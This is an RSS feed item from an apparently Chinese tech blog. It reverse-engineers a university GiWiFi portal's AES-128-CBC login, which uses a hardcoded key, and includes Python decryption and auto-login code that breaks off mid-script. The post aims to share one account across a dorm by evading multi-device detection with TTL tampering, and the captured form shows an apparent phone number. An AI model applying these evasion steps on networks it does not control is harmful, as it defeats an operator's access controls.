<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Niezidong</title>
    <link>https://blog.newpon.top/</link>
    <description>技术探索与实践</description>
    <language>zh-CN</language>
    <copyright>All rights reserved 2026, Niezidong</copyright>
    <lastBuildDate>Wed, 14 Oct 2026 03:44:48 GMT</lastBuildDate>
    <generator>Hexo</generator>
    <atom:link href="https://blog.newpon.top/rss2.xml" rel="self" type="application/rss+xml"/>
    <item>
      <title>宿舍网络自由：Dell Wyse 3040 软路由实战 GiWiFi 校园网逆向与自动保活</title>
      <link>https://blog.newpon.top/2026/10/13/dell-wyse3040-giwifi-autologin/</link>
      <description>记录使用百元单网口小主机 Dell Wyse 3040 刷入 iStoreOS UEFI 固件，逆向分析高校 GiWiFi (gportal) 校园网 AES-128-CBC 认证协议，并实现全宿舍多设备防检测共享与断网秒级自动重连的完整实战。</description>
      <author>Niezidong</author>
      <category domain="https://blog.newpon.top/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.newpon.top/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/%E8%BD%AF%E8%B7%AF%E7%94%B1%E6%8A%98%E8%85%BE/">软路由折腾</category>
      <category domain="https://blog.newpon.top/tags/%E8%BD%AF%E8%B7%AF%E7%94%B1/">软路由</category>
      <category domain="https://blog.newpon.top/tags/iStoreOS/">iStoreOS</category>
      <category domain="https://blog.newpon.top/tags/%E6%A0%A1%E5%9B%AD%E7%BD%91/">校园网</category>
      <category domain="https://blog.newpon.top/tags/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/">逆向工程</category>
      <category domain="https://blog.newpon.top/tags/GiWiFi/">GiWiFi</category>
      <category domain="https://blog.newpon.top/tags/OpenWrt/">OpenWrt</category>
      <category domain="https://blog.newpon.top/tags/%E7%88%AC%E8%99%AB/">爬虫</category>
      <category domain="https://blog.newpon.top/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/">网络安全</category>
      <pubDate>Tue, 13 Oct 2026 08:35:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="宿舍网络自由：Dell-Wyse-3040-软路由实战-GiWiFi-校园网逆向与自动保活"><a href="#宿舍网络自由：Dell-Wyse-3040-软路由实战-GiWiFi-校园网逆向与自动保活" class="headerlink" title="宿舍网络自由：Dell Wyse 3040 软路由实战 GiWiFi 校园网逆向与自动保活"></a>宿舍网络自由：Dell Wyse 3040 软路由实战 GiWiFi 校园网逆向与自动保活</h1><p>学校的校园网太几把贵了，一个月49块，这次国庆返校把家里吃灰的路由器拿学校看能不能连上校园网，试了试连倒是能连上但是老断，上游应该是有多设备检测，想着手里还有个吃灰的小主机就折腾了一下</p><hr><h2 id="一、-硬件选型与网络拓扑"><a href="#一、-硬件选型与网络拓扑" class="headerlink" title="一、 硬件选型与网络拓扑"></a>一、 硬件选型与网络拓扑</h2><h3 id="1-硬件：Dell-Wyse-3040-与-TP路由器"><a href="#1-硬件：Dell-Wyse-3040-与-TP路由器" class="headerlink" title="1. 硬件：Dell Wyse 3040 与 TP路由器"></a>1. 硬件：Dell Wyse 3040 与 TP路由器</h3><div align="center">  <img src="https://pub-7843c36ae8c74acbb64998494a352f61.r2.dev/picgo/20261013170634824.jpg" width="35%" />  <img src="https://pub-7843c36ae8c74acbb64998494a352f61.r2.dev/picgo/20261013170628937.jpg" width="45%" /></div><p>这次选用的软路由载体是矿渣&#x2F;办公淘汰界的经典神机 —— <strong>Dell Wyse 3040 瘦客户机</strong>：</p><ul><li><strong>CPU</strong>：Intel Atom x5-Z8350（4 核心 4 线程，x86_64 纯正架构）</li><li><strong>内存</strong>：2GB DDR3L</li><li><strong>内置闪存</strong>：板载 8GB eMMC</li><li><strong>网络接口</strong>：<strong>单口千兆 RJ45</strong>（Realtek RTL8111&#x2F;8168）</li><li><strong>扩展接口</strong>：1x USB 3.0、3x USB 2.0、2x DisplayPort</li><li><strong>功耗与发热</strong>：整机日常待机仅 <strong>3W~5W</strong>，纯被动散热无风扇，7x24 小时开机几乎不耗电且零噪音。</li></ul><p>相比普通几十块钱的 MT7621 路由器（内存通常只有 64M&#x2F;128M，跑不动复杂解释器），Wyse 3040 拥有完整的 x86_64 架构和 2GB 大内存，系统空闲内存高达 1.6GB，能够轻松跑原生 Python 3、OpenSSL、Docker、AdGuardHome 去广告和各类科学分流工具。</p><hr><h3 id="2-组网架构设计：单网口旁路由-旁路网关全局接管"><a href="#2-组网架构设计：单网口旁路由-旁路网关全局接管" class="headerlink" title="2. 组网架构设计：单网口旁路由 + 旁路网关全局接管"></a>2. 组网架构设计：单网口旁路由 + 旁路网关全局接管</h3><p>由于 Wyse 3040 只有<strong>单千兆网口</strong>，无需花冤枉钱买外接 USB 网卡，最稳定成熟的玩法是：<br><strong>普通无线路由器做接入网关与 Wi-Fi AP + Wyse 3040 做旁路网关</strong>。</p><h4 id="物理接线与双向网络拓扑"><a href="#物理接线与双向网络拓扑" class="headerlink" title="物理接线与双向网络拓扑"></a>物理接线与双向网络拓扑</h4><h5 id="1-硬件线路图"><a href="#1-硬件线路图" class="headerlink" title="1. 硬件线路图"></a>1. 硬件线路图</h5><img src="https://pub-7843c36ae8c74acbb64998494a352f61.r2.dev/picgo/20261013170622466.png" width="80%" /><h5 id="2-逻辑双向流量走向图"><a href="#2-逻辑双向流量走向图" class="headerlink" title="2. 逻辑双向流量走向图"></a>2. 逻辑双向流量走向图</h5><img src="https://pub-7843c36ae8c74acbb64998494a352f61.r2.dev/picgo/20261014114330811.png" width="80%" /><h5 id="3-为什么这个拓扑最稳定？（双轨分离机制）"><a href="#3-为什么这个拓扑最稳定？（双轨分离机制）" class="headerlink" title="3. 为什么这个拓扑最稳定？（双轨分离机制）"></a>3. 为什么这个拓扑最稳定？（双轨分离机制）</h5><ul><li><strong>控制面（认证保活）</strong>：Wyse 3040 独立在后台与 <code>172.31.0.50</code> 对话，负责把路由器的 WAN 口 IP 变成“已认证白名单”；</li><li><strong>数据面（全屋转发）</strong>：路由器负责 Wi-Fi 空口吞吐，Wyse 3040 负责在局域网内部做 TTL 篡改和 NAT 折叠，两台设备各司其职，吞吐量不打折。</li></ul><h4 id="核心网络参数规划"><a href="#核心网络参数规划" class="headerlink" title="核心网络参数规划"></a>核心网络参数规划</h4><ul><li><strong>普通无线路由器</strong>：<ul><li>LAN IP：<code>192.168.1.1</code></li><li>DHCP 服务：开启，但在 DHCP 高级设置中，将 <strong>默认网关</strong> 改为 <code>192.168.1.254</code>，<strong>主 DNS</strong> 改为 <code>192.168.1.254</code>。</li></ul></li><li>**Wyse 3040 (iStoreOS)**：<ul><li>静态 IP：<code>192.168.1.254</code>（掩码 <code>255.255.255.0</code>，网关 <code>192.168.1.1</code>，DNS <code>223.5.5.5</code>）；</li><li>DHCP 服务：<strong>关闭</strong>（勾选忽略此接口，防止双 DHCP 打架）；</li><li><strong>开启 NAT 伪装（masquerade）</strong>：这是旁路由成功的灵魂，能防止同网段不对称路由丢包。</li></ul></li></ul><hr><h2 id="三、-逆向：深入-GiWiFi-gportal-认证协议"><a href="#三、-逆向：深入-GiWiFi-gportal-认证协议" class="headerlink" title="三、 逆向：深入 GiWiFi (gportal) 认证协议"></a>三、 逆向：深入 GiWiFi (gportal) 认证协议</h2><p>以现场抓包的山东工程职业技术大学（网关代号 <code>jn_sdgc</code>）GiWiFi 系统为例，其 Portal 网关位于内网 <code>http://172.31.0.50</code>。</p><h3 id="1-抓包网络流与重定向分析"><a href="#1-抓包网络流与重定向分析" class="headerlink" title="1. 抓包网络流与重定向分析"></a>1. 抓包网络流与重定向分析</h3><p>当未认证设备尝试访问外网（如 <code>http://www.baidu.com</code>）时，网关的接入控制器（AC）会拦截请求并返回 302 重定向：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">http://172.31.0.50/gportal/web/login?wlanuserip=172.20.59.194&amp;wlanacname=jn_sdgc<br></code></pre></td></tr></table></figure><ul><li>**<code>wlanuserip</code> (如 <code>172.20.59.194</code>)**：校园网 DHCP 分配给接入设备的内网 IP，也是认证成功后防火墙决定放行的对象；</li><li>**<code>wlanacname</code> (<code>jn_sdgc</code>)**：区域接入控制器代号。</li></ul><p>在网页上点击登录时，浏览器向鉴权接口发出 POST 请求：</p><ul><li><strong>接口</strong>：<code>http://172.31.0.50/gportal/Web/loginAction</code></li><li><strong>载荷结构</strong>：<figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">data=&lt;超长Base64密文&gt;&amp;iv=519607541ee5a1df<br></code></pre></td></tr></table></figure></li></ul><hr><h3 id="2-前端-JS-逆向：定位加密算法"><a href="#2-前端-JS-逆向：定位加密算法" class="headerlink" title="2. 前端 JS 逆向：定位加密算法"></a>2. 前端 JS 逆向：定位加密算法</h3><p>审查 Portal 页面的 JavaScript 源码，在内联脚本中直接发现了核心加密函数 <code>cryptoEncode</code>：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * 逆向捕获自 http://172.31.0.50 登录页面的原生前端加密函数</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> &#123;<span class="hljs-type">string</span>&#125; <span class="hljs-variable">data</span> - 表单序列化后的明文字符串</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> &#123;<span class="hljs-type">string</span>&#125; <span class="hljs-variable">iv</span> - 前端随机生成的 16 字符 Hex 偏移量</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@returns</span> &#123;<span class="hljs-type">Object</span>&#125; 包含 Base64 密文与明文 iv 的对象</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">cryptoEncode</span>(<span class="hljs-params">data, iv</span>)&#123;<br>    <span class="hljs-comment">// 1. 密钥硬编码：16 字节明文字符串，对应 AES-128 位密钥</span><br>    <span class="hljs-keyword">var</span> key = <span class="hljs-title class_">CryptoJS</span>.<span class="hljs-property">enc</span>.<span class="hljs-property">Utf8</span>.<span class="hljs-title function_">parse</span>(<span class="hljs-string">&quot;1234567887654321&quot;</span>);<br>    <br>    <span class="hljs-comment">// 2. 将 16 字符的随机 IV 解析为 UTF-8 字节向量</span><br>    <span class="hljs-keyword">var</span> ivv = <span class="hljs-title class_">CryptoJS</span>.<span class="hljs-property">enc</span>.<span class="hljs-property">Utf8</span>.<span class="hljs-title function_">parse</span>(iv);<br>    <br>    <span class="hljs-comment">// 3. 执行 AES 加密：模式为 CBC，填充方式为 ZeroPadding (非标准零填充)</span><br>    <span class="hljs-keyword">var</span> encrypted = <span class="hljs-title class_">CryptoJS</span>.<span class="hljs-property">AES</span>.<span class="hljs-title function_">encrypt</span>(data, key, &#123; <br>        <span class="hljs-attr">iv</span>: ivv, <br>        <span class="hljs-attr">mode</span>: <span class="hljs-title class_">CryptoJS</span>.<span class="hljs-property">mode</span>.<span class="hljs-property">CBC</span>, <br>        <span class="hljs-attr">padding</span>: <span class="hljs-title class_">CryptoJS</span>.<span class="hljs-property">pad</span>.<span class="hljs-property">ZeroPadding</span> <br>    &#125;);<br>    <br>    <span class="hljs-comment">// 4. 将加密结果转为 Base64 编码字符串</span><br>    data = encrypted.<span class="hljs-title function_">toString</span>();<br>    <br>    <span class="hljs-comment">// 5. 组装发往 /loginAction 的请求体参数</span><br>    <span class="hljs-keyword">var</span> msg = &#123;<span class="hljs-string">&#x27;data&#x27;</span>: data, <span class="hljs-string">&#x27;iv&#x27;</span>: iv&#125;;<br>    <span class="hljs-keyword">return</span> msg;<br>&#125;<br></code></pre></td></tr></table></figure><p>整个加密算法直接明牌暴露：</p><ol><li><strong>算法</strong>：<strong>AES-128-CBC</strong>；</li><li>**密钥 (Key)**：前端硬编码常量字符串 **<code>&quot;1234567887654321&quot;</code>**；</li><li>**偏移量 (IV)**：前端动态生成的 16 字符 Hex 字符串（如 <code>519607541ee5a1df</code>）；</li><li><strong>填充方式</strong>：<strong>ZeroPadding（零填充）</strong>，即若明文长度不是 16 的倍数，在尾部全部填充 <code>\x00</code> 直到对齐。</li></ol><hr><h3 id="3-解密还原与表单明文审计"><a href="#3-解密还原与表单明文审计" class="headerlink" title="3. 解密还原与表单明文审计"></a>3. 解密还原与表单明文审计</h3><p>使用 Python 对抓包截获的 <code>data</code> 密文进行反解：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> base64<br><span class="hljs-keyword">import</span> urllib.parse<br><span class="hljs-keyword">from</span> cryptography.hazmat.primitives.ciphers <span class="hljs-keyword">import</span> Cipher, algorithms, modes<br><span class="hljs-keyword">from</span> cryptography.hazmat.backends <span class="hljs-keyword">import</span> default_backend<br><br><span class="hljs-comment"># 1. 配置逆向获取的硬编码密钥与抓包获得的 IV</span><br>key = <span class="hljs-string">b&quot;1234567887654321&quot;</span>     <span class="hljs-comment"># 16 字节 AES-128 密钥</span><br>iv = <span class="hljs-string">b&quot;519607541ee5a1df&quot;</span>      <span class="hljs-comment"># 16 字节初始化向量</span><br><br><span class="hljs-comment"># 2. 对抓包提取的 data 密文先做 URL 解码，再做 Base64 解码得到二进制密文</span><br>ciphertext = base64.b64decode(urllib.parse.unquote(raw_data))<br><br><span class="hljs-comment"># 3. 初始化 AES-128-CBC 解密器</span><br>cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())<br>decryptor = cipher.decryptor()<br><br><span class="hljs-comment"># 4. 执行解密并剔除 ZeroPadding 尾部填充的 \x00 空字节</span><br>decrypted_bytes = decryptor.update(ciphertext) + decryptor.finalize()<br>plaintext = decrypted_bytes.rstrip(<span class="hljs-string">b&quot;\x00&quot;</span>)<br><br><span class="hljs-comment"># 5. 打印还原出来的原始表单明文</span><br><span class="hljs-built_in">print</span>(plaintext.decode(<span class="hljs-string">&quot;utf-8&quot;</span>))<br></code></pre></td></tr></table></figure><p>成功完整解密出原始表单结构：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">sign=fPIcWzT7YZKGgfd7VQtNjz8Dv...&amp;sta_vlan=&amp;sta_port=&amp;sta_ip=172.20.59.194&amp;nas_ip=&amp;nas_name=jn_sdgc&amp;last_url=&amp;request_ip=172.20.59.194&amp;device_mode=Windows%20NT%2010.0&amp;device_type=1&amp;device_os_type=3&amp;is_mobile=0&amp;iv=519607541ee5a1df&amp;login_type=1&amp;account_type=2&amp;user_account=15318160417&amp;user_password=xxxxxx<br></code></pre></td></tr></table></figure><p>至此，整个协议链条完全理清：</p><ul><li>网页返回的 <code>sign</code> 是单次会话防重放签名；</li><li>设备指纹被伪装成 <code>Windows NT 10.0</code> PC 端；</li><li>只需要动态获取 <code>sign</code>，填入账号密码，做一次 AES-128-CBC ZeroPadding 加密，再 POST 到 <code>/gportal/Web/loginAction</code> 即可实现脱机免浏览器鉴权！</li></ul><hr><h2 id="四、-软路由端全自动认证与看门狗落地"><a href="#四、-软路由端全自动认证与看门狗落地" class="headerlink" title="四、 软路由端全自动认证与看门狗落地"></a>四、 软路由端全自动认证与看门狗落地</h2><p>Wyse 3040 搭载的 iStoreOS 采用了最新的 Alpine <code>apk</code> 包管理体系。在 Wyse 3040 终端中执行以下命令装载环境：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">apk update<br>apk add python3<br></code></pre></td></tr></table></figure><p>我们编写了一个轻量级、零第三方 Python 库依赖（纯调用系统级 OpenSSL 实现加解密）的自动化认证看门狗守护脚本，保存在 <code>/root/gwifi_login.py</code>。每个函数与参数均附带详尽注释：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment">#!/usr/bin/env python3</span><br><span class="hljs-comment"># -*- coding: utf-8 -*-</span><br><span class="hljs-string">&quot;&quot;&quot;</span><br><span class="hljs-string">================================================================================</span><br><span class="hljs-string">项目名称: Dell Wyse 3040 iStoreOS - GiWiFi 校园网自动认证保活守护进程</span><br><span class="hljs-string">适用学校: 山东工程职业技术大学 (jn_sdgc) 及采用通用 GiWiFi gportal 网关的高校</span><br><span class="hljs-string">功能特性:</span><br><span class="hljs-string">  1. 纯标准库 + 系统级 OpenSSL 实现，零第三方 pip 依赖，极省资源</span><br><span class="hljs-string">  2. 自动嗅探网关 302 重定向，自适应获取最新的 sta_ip (内网IP) 与 sign (防重放Token)</span><br><span class="hljs-string">  3. 100% 还原前端 JS 的 AES-128-CBC + ZeroPadding 算法</span><br><span class="hljs-string">  4. 支持单次认证与后台常驻看门狗模式 (每30秒心跳探测，掉线自愈)</span><br><span class="hljs-string">================================================================================</span><br><span class="hljs-string">&quot;&quot;&quot;</span><br><br><span class="hljs-keyword">import</span> os<br><span class="hljs-keyword">import</span> sys<br><span class="hljs-keyword">import</span> time<br><span class="hljs-keyword">import</span> re<br><span class="hljs-keyword">import</span> secrets<br><span class="hljs-keyword">import</span> subprocess<br><span class="hljs-keyword">import</span> urllib.request<br><span class="hljs-keyword">import</span> urllib.parse<br><span class="hljs-keyword">import</span> http.cookiejar<br><span class="hljs-keyword">import</span> json<br><br><span class="hljs-comment"># ============================ 核心常量配置 ============================</span><br><span class="hljs-comment"># GiWiFi Portal 网关内网服务器地址</span><br>PORTAL_HOST = <span class="hljs-string">&quot;http://172.31.0.50&quot;</span><br><br><span class="hljs-comment"># 从前端 JavaScript (aes.js) 逆向出来的 AES-128 对称加密密钥 (固化常量)</span><br>AES_KEY = <span class="hljs-string">&quot;1234567887654321&quot;</span><br><br><span class="hljs-comment"># ============================ 功能函数定义 ============================</span><br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">check_internet</span>(<span class="hljs-params">test_host=<span class="hljs-string">&quot;223.5.5.5&quot;</span></span>):<br>    <span class="hljs-string">&quot;&quot;&quot;</span><br><span class="hljs-string">    通过底层 ICMP ping 探测外网连通性</span><br><span class="hljs-string">    :param test_host: 探测节点 (默认阿里公共 DNS 223.5.5.5)</span><br><span class="hljs-string">    :return: True 表示外网畅通，False 表示已掉线或处于认证拦截期</span><br><span class="hljs-string">    &quot;&quot;&quot;</span><br>    <span class="hljs-comment"># -c 2: 发送2个包; -W 2: 超时时间2秒; 标准输出重定向到空设备</span><br>    ret = subprocess.run(<br>        [<span class="hljs-string">&quot;ping&quot;</span>, <span class="hljs-string">&quot;-c&quot;</span>, <span class="hljs-string">&quot;2&quot;</span>, <span class="hljs-string">&quot;-W&quot;</span>, <span class="hljs-string">&quot;2&quot;</span>, test_host],<br>        stdout=subprocess.DEVNULL,<br>        stderr=subprocess.DEVNULL<br>    )<br>    <span class="hljs-keyword">return</span> ret.returncode == <span class="hljs-number">0</span><br><br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">get_redirect_or_login_url</span>():<br>    <span class="hljs-string">&quot;&quot;&quot;</span><br><span class="hljs-string">    自动嗅探校园网的登录跳转地址与动态参数。</span><br><span class="hljs-string">    当未认证时，访问任意外部 HTTP 页面会被校园网 AC 拦截并 302 重定向到：</span><br><span class="hljs-string">    http://172.31.0.50/gportal/web/login?wlanuserip=xxx&amp;wlanacname=jn_sdgc</span><br><span class="hljs-string">    &quot;&quot;&quot;</span><br>    <span class="hljs-keyword">try</span>:<br>        <span class="hljs-comment"># 发起探测请求触发网关 302 拦截</span><br>        req = urllib.request.Request(<br>            <span class="hljs-string">&quot;http://www.google.cn/generate_204&quot;</span>,<br>            headers=&#123;<span class="hljs-string">&quot;User-Agent&quot;</span>: <span class="hljs-string">&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0&quot;</span>&#125;<br>        )<br>        <span class="hljs-keyword">with</span> urllib.request.urlopen(req, timeout=<span class="hljs-number">3</span>) <span class="hljs-keyword">as</span> resp:<br>            <span class="hljs-comment"># 如果发生了重定向且跳转到了 gportal，直接返回该完整 URL</span><br>            <span class="hljs-keyword">if</span> resp.geturl() <span class="hljs-keyword">and</span> <span class="hljs-string">&quot;gportal&quot;</span> <span class="hljs-keyword">in</span> resp.geturl():<br>                <span class="hljs-keyword">return</span> resp.geturl()<br>    <span class="hljs-keyword">except</span> Exception:<br>        <span class="hljs-keyword">pass</span><br>    <br>    <span class="hljs-comment"># 若未被 302 拦截或外网直接无法建立连接，兜底使用标准登录入口</span><br>    <span class="hljs-keyword">return</span> <span class="hljs-string">f&quot;<span class="hljs-subst">&#123;PORTAL_HOST&#125;</span>/gportal/web/login&quot;</span><br><br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">encrypt_data</span>(<span class="hljs-params">plaintext_str, iv_str</span>):<br>    <span class="hljs-string">&quot;&quot;&quot;</span><br><span class="hljs-string">    实现与前端完全一致的 AES-128-CBC + ZeroPadding (零填充) 加密</span><br><span class="hljs-string">    :param plaintext_str: 待加密的明文字符串 (URL编码后的表单)</span><br><span class="hljs-string">    :param iv_str: 16位 ASCII 字符的随机初始化向量 (IV)</span><br><span class="hljs-string">    :return: Base64 编码的密文字符串</span><br><span class="hljs-string">    &quot;&quot;&quot;</span><br>    raw = plaintext_str.encode(<span class="hljs-string">&quot;utf-8&quot;</span>)<br>    <br>    <span class="hljs-comment"># ---------------- 步骤 1: ZeroPadding (零填充) ----------------</span><br>    <span class="hljs-comment"># AES 是 128 位分组密码，数据块必须对齐 16 字节</span><br>    <span class="hljs-comment"># ZeroPadding 规则: 若长度不是 16 的倍数，在末尾全部追加 \x00</span><br>    pad_len = <span class="hljs-number">16</span> - (<span class="hljs-built_in">len</span>(raw) % <span class="hljs-number">16</span>)<br>    <span class="hljs-keyword">if</span> pad_len != <span class="hljs-number">16</span>:<br>        raw += <span class="hljs-string">b&quot;\x00&quot;</span> * pad_len<br>        <br>    <span class="hljs-comment"># ---------------- 步骤 2: 转换 Key 与 IV 为十六进制字符串 ----------------</span><br>    key_hex = AES_KEY.encode(<span class="hljs-string">&quot;utf-8&quot;</span>).<span class="hljs-built_in">hex</span>()   <span class="hljs-comment"># &quot;1234567887654321&quot; -&gt; 31323334353637383837363534333231</span><br>    iv_hex = iv_str.encode(<span class="hljs-string">&quot;utf-8&quot;</span>).<span class="hljs-built_in">hex</span>()     <span class="hljs-comment"># 16位字符转32位hex</span><br><br>    <span class="hljs-comment"># ---------------- 步骤 3: 调用系统底层 OpenSSL 执行高速度无依赖加密 ----------------</span><br>    <span class="hljs-comment"># -aes-128-cbc: 采用 CBC 模式</span><br>    <span class="hljs-comment"># -nopad: 禁用 OpenSSL 默认的 PKCS7 填充 (因为我们上面已手工做了 ZeroPadding)</span><br>    <span class="hljs-comment"># -base64: 输出 Base64</span><br>    <span class="hljs-comment"># -A: 输出单行 Base64 (防止自动追加换行符破坏 HTTP 传输)</span><br>    cmd = 